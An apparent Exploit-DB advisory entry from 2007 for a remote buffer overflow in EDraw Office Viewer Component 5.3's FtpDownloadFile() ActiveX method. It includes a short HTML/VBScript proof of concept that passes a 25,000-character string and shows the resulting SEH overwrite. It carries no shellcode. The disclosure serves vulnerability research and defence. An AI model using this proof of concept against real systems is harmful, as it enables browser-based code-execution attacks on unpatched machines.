EDraw Office Viewer Component 5.3 "FtpDownloadFile()" Remote BoF

vendor:

Office Viewer Component

by:

shinnai

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Office Viewer Component

Affected Version From: 5.3

Affected Version To: 5.3

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

EDraw Office Viewer Component 5.3 “FtpDownloadFile()” Remote BoF

The EDraw Office Viewer Component 5.3 is vulnerable to a remote Buffer Overflow in the "FtpDownloadFile()" function. An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable component, leading to arbitrary code execution.

Mitigation:

The vendor has not released a patch or mitigation for this vulnerability. It is recommended to avoid using the vulnerable component or implement strong input validation to prevent buffer overflow attacks.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EDraw Office Viewer Component 5.3 "FtpDownloadFile()" Remote BoF</b>
 url: http://www.ocxt.com/officeviewer.php

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: True
 RegkeySafe for Init: True
 KillBitSet: False</b>

 <b>SEH chain:
 SEH chain of thread 00001EE4, item 0
  Address=0219F284
  SE handler=IEXPLORE.00410041

 SEH chain of thread 00001EE4, item 1
  Address=00410041
  SE handler=IEXPLORE.00426AA4</b>

-----------------------------------------------------------------------------
<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff = String(25000, "A")
  test.FtpDownloadFile buff, buff
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-01]